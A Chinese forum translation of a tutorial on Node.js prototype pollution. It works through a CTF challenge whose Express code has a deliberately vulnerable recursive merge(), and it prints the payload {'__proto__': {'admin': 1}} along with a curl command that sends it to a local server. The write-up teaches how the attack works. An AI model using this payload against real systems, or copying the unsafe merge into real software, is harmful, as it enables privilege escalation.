首页
社区
课程
招聘
[翻译]Node.js原型污染攻击的分析与利用
2019-2-25 14:30 9581

[翻译]Node.js原型污染攻击的分析与利用

2019-2-25 14:30
9581

目录

  • 简介
  • javaScript中的对象
  • javaScript中的函数/类
  • constructor是什么?
  • javaScript中的原型
  • 原型污染
  • Merge()为什么不安全?
  • 参考文献

简介

原型污染攻击, 如名所示, 是通过污染一个基础对象的原型来引发RCE。Olivier Arteau 完成了此项研究,并在NorthSec 2018中介绍了它的发生过程。让我们用Nullcon HackIm 2019 challenge中的proton来深入地了解一下它的触发过程。

javaScript中的对象

javaScript中的对象其实就是一些键值对的集合,每一个键值对叫做一个属性。举例说明如下(你可以用浏览器的控制台来自己执行一下试试):

var obj = {
    "name": "0daylabs",
    "website": "blog.0daylabs.com"
}

obj.name;     // prints "0daylabs"
obj.website; // prints "blog.0daylabs.com"

console.log(obj);  // 打印出了整个对象以及它所有的属性

在上述例子中,namewebsite是对象obj的属性。如果你仔细观察上述语句,就可以发现除了我们显式定义的内容,console.log还打印了很多额外的信息,这些多出来的信息是来自于哪里呢?

 

Object是最基础的对象,其他所有的对象都是通过它创建的。在对象创建期间,我们可以通过传递一个null参数创建一个空对象(没有任何属性),但默认情况下,它会创建一个与其值类型相对应的的对象,并将所有属性继承给新创建的对象(除非值为null)。

console.log(Object.create(null)); // prints an empty object

javaScript中的函数/类

 

在javaScript中,函数和类的概念是相对的(函数本身充当类的构造函数,而且也没有一个显式的表示类的方法)。让我们举个例子:

function person(fullName, age) {
    this.age = age;
    this.fullName = fullName;
    this.details = function() {
        return this.fullName + " has age: " + this.age;
    }
}

console.log(person.prototype); // prints the prototype property of the function

/*
{constructor: ƒ}
    constructor: ƒ person(fullName, age)
    __proto__: Object
*/

var person1 = new person("Anirudh", 25);
var person2 = new person("Anand", 45);

console.log(person1);

/*
person {age: 25, fullName: "Anirudh"}
age: 45
fullName: "Anand"
__proto__:
    constructor: ƒ person(fullName, age)
        arguments: null
        caller: null
        length: 2
        name: "person"
    prototype: {constructor: ƒ}
    __proto__: ƒ ()
    [[FunctionLocation]]: VM134:1
    [[Scopes]]: Scopes[1]
__proto__: Object
*/

console.log(person2);

/*
person {age: 45, fullName: "Anand"}
age: 45
fullName: "Anand"
__proto__:
    constructor: ƒ person(fullName, age)
        arguments: null
        caller: null
        length: 2
        name: "person"
    prototype: {constructor: ƒ}
    __proto__: ƒ ()
    [[FunctionLocation]]: VM134:1
    [[Scopes]]: Scopes[1]
__proto__: Object
*/

person1.details(); // prints "Anirudh has age: 25"

在上述例子中,我们定义了一个名为person的函数,然后创建了两个对象,分别叫做person1person2。如果仔细观察新创建的函数和对象的属性,我们可以发现2件事:

  • 当函数被创建的时候,JavaScript引擎在函数里添加了一个prototype属性。这个原型属性是一个对象(叫做原型对象)且默认有一个constructor属性,该属性指向一个函数,在这个函数中,原型对象是一个属性。
  • 当一个对象被创建的时候,JavaScript引擎会添加一个__proto__属性到新创建的对象中,这一属性指向构造函数的原型对象。简而言之,object.__proto__指向function.prototype

constructor是什么?

Constructor是一个神奇的属性,它返回用于创建这个对象的函数。原型对象有一个Constructor,它指向函数本身而且Constructor的Constructor是一个全局函数Constructor。

var person3 = new person("test", 55);

person3.constructor;  // prints the function "person" itself 

person3.constructor.constructor; // prints ƒ Function() { [native code] }    <- Global Function constructor

person3.constructor.constructor("return 1");

/*
ƒ anonymous(
) {
return 1
}
*/

// Finally call the function
person3.constructor.constructor("return 1")();   // returns 1

javaScript中的原型

在这里要注意的一点是prototype属性可以在运行时被修改(增/删/改)。比如:

function person(fullName, age) {
    this.age = age;
    this.fullName = fullName;
}

var person1 = new person("Anirudh", 25);

person.prototype.details = function() {
        return this.fullName + " has age: " + this.age;
    }

console.log(person1.details()); // prints "Anirudh has age: 25"

在上面这段代码中我们通过添加一个新属性的方式修改了函数的prototype,使用对象我们也可以达到同样的效果:

function person(fullName, age) {
    this.age = age;
    this.fullName = fullName;
}

var person1 = new person("Anirudh", 25);
var person2 = new person("Anand", 45);

// Using person1 object
person1.constructor.prototype.details = function() {
        return this.fullName + " has age: " + this.age;
    }

console.log(person1.details()); // prints "Anirudh has age: 25"

console.log(person2.details()); // prints "Anand has age: 45" :O

有发现一些可疑的东西吗?我们修改了person1对象但为什么person2也被修改了?原因是在第一个例子中我们是使用person.prototype添加的属性,而在第二个例子中我们是通过使用对象来实现同样的效果的。我们知道,constructor返回的是创建对象时的函数,所以person1.constructor指向person本身,而person1.constructor.prototypeperson.prototype相同。

原型污染

让我们举个例子,obj[a][b] = value,如果攻击者可以控制avalue,他就可以把a的值设为__proto__,而程序中所有对象中的属性b的值会被设为value

 

攻击者所做的事情并不像上面这个例子这么简单,根据论文所介绍的,只有在下面3个条件同时满足时,漏洞利用才会发生:

  1. 对象递归合并
  2. 属性通过路径定义
  3. 对象克隆

我们先看看Nullcon HackIM比赛中的实战例子,这场比赛中通过迭代MongoDB id(这不重要),我们能够获得下列源代码:

'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

function clone(a) {
    return merge({}, a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var аdmin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

代码以一个merge函数开头,事实上这种合并两个对象的方式是不安全的。因为在最新的库中merge()函数已经被打了补丁,所以在这场比赛中故意使用了旧的merge函数的实现方法。

 

我们可以发现,在上述代码中有两个admin的定义,一个是const admin另一个是var admin。理想情况下,JavaScript不允许将Const变量再次定义为var,因此这必须是不同的。要花很长时间才能想明白其中一个是正常的a,而另一个a表示另一种含义。所以与其花时间在这里,我把其中重命名为正常的a,这样,一旦问题解决,我们就可以发送payload了。

 

从这场比赛的源代码中,我们可以发现下述问题:

  • Merge()函数的实现方式使得原型污染可以发生(更多的分析在这篇文章之后),所以我们确实需要使用原型污染来解决这个问题。

  • 在通过clone(body)发送/signup调用merge的时候,我们可以在signing up的时候发送我们的JSON payload,在payload中可以添加admin属性,然后调用/getflag获取flag。

  • 正如上面讨论的那样,我们可以使用__proto__(指向constructor.prototype)来用值1创建admin属性。

最简单的payload是:{"__proto__": {"admin": 1}}

 

所以最终的解决这个题目的payload(使用curl是因为我用burp发送不了)是:

curl -vv --header 'Content-type: application/json' -d '{"__proto__": {"admin": 1}}' 'http://0.0.0.0:4000/signup'; curl -vv 'http://0.0.0.0:4000/getFlag'

Merge()为什么不安全?

一个很显眼的问题是,为什么merge()函数不安全?下面是原因:

  • 这个函数对对象b的所有属性进行迭代(因为对象b在键值对相同的情况下拥有更高的优先级)

  • 如果属性同时存在于第一个和第二个参数中,且他们都是Object,它就会递归地合并这个属性。

  • 现在我们如果控制b[attr]的值,使其值变成__proto__,且我们能控制b__proto__属性的值,在递归的时候,a[attr]在某个特定的时候就会指向对象aprototype,我们就能成功地添加一个新的属性到所有的对象中了。

仍然没看懂?这不怪你,因为要理解这个概念我也是花了很长的时间才明白。我们先写个debug语句来看看具体发生了什么。

const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
    console.log(b); // prints { __proto__: { admin: 1 } }
    for (var attr in b) {
        console.log("Current attribute: " + attr); // prints Current attribute: __proto__        
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

function clone(a) {
    return merge({}, a);
}

我们先试着发送上面的curl请求。可以发现,对象b的值目前是:{ __proto__: { admin: 1 } },其中__proto__只是一个属性名,并不指向函数的prototype,接下来的函数merge()中,for (var attr in b)迭代每个属性,而其中第一个属性就是__proto__

 

因为__proto__总是对象类型的,所以继续递归调用,也就是调用merge(a[__proto__], b[__proto__]).这样就能帮助我们访问a的函数原型,并向里面添加一个b中的属性。

参考文献

  1. Olivier Arteau – Prototype pollution attacks in NodeJS applications
  2. Prototypes in javaScript
  3. MDN Web Docs - Object

原文:https://blog.0daylabs.com/2019/02/15/prototype-pollution-javascript/

翻译:看雪翻译小组 梦野间

校对:看雪翻译小组 lordVice


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞2
打赏
分享
最新回复 (5)
雪    币: 1006
活跃值: (3270)
能力值: (RANK:15 )
在线值:
发帖
回帖
粉丝
bkhumor 2019-2-25 15:52
2
0
Mark
雪    币: 19586
活跃值: (60153)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
Editor 2019-2-25 16:20
3
0
感谢分享!
雪    币: 1319
活跃值: (1310)
能力值: ( LV8,RANK:140 )
在线值:
发帖
回帖
粉丝
inquisiter 2 2019-2-26 12:01
4
0
我这里调试了下,只会进入21行的分支,进入不了19行的分支。在第一次进入循环的时候attr的值为admin,不是__proto__。
不过要是把{“admin”:1}改为{“name”:1}到是可以进入

res.cookie('name', copybody.name).json({

"done":"cookie set"

});条件判断。

const isObject = obj =>....   这一句表示什么呢?

最后于 2019-2-26 12:02 被inquisiter编辑 ,原因:
雪    币: 3757
活跃值: (1757)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
梦野间 4 2019-3-1 17:01
5
0
inquisiter 我这里调试了下,只会进入21行的分支,进入不了19行的分支。在第一次进入循环的时候attr的值为admin,不是__proto__。不过要是把{“admin”:1}改为{“name”:1}到是可以进入 ...
=> 是个语法糖,大概意思是obj作为函数参数,执行后面的语句
即判断obj不为空 && obj.constructor不为空 && obj.constructor的数据类型为Object
最后于 2019-3-1 17:02 被梦野间编辑 ,原因:
雪    币: 1319
活跃值: (1310)
能力值: ( LV8,RANK:140 )
在线值:
发帖
回帖
粉丝
inquisiter 2 2019-3-1 17:24
6
0
梦野间 inquisiter 我这里调试了下,只会进入21行的分支,进入不了19行的分支。在第一次进入循环的时候attr的值为admin,不是__proto__。不过 ...
attr=admin 好像不对吧
游客
登录 | 注册 方可回帖
返回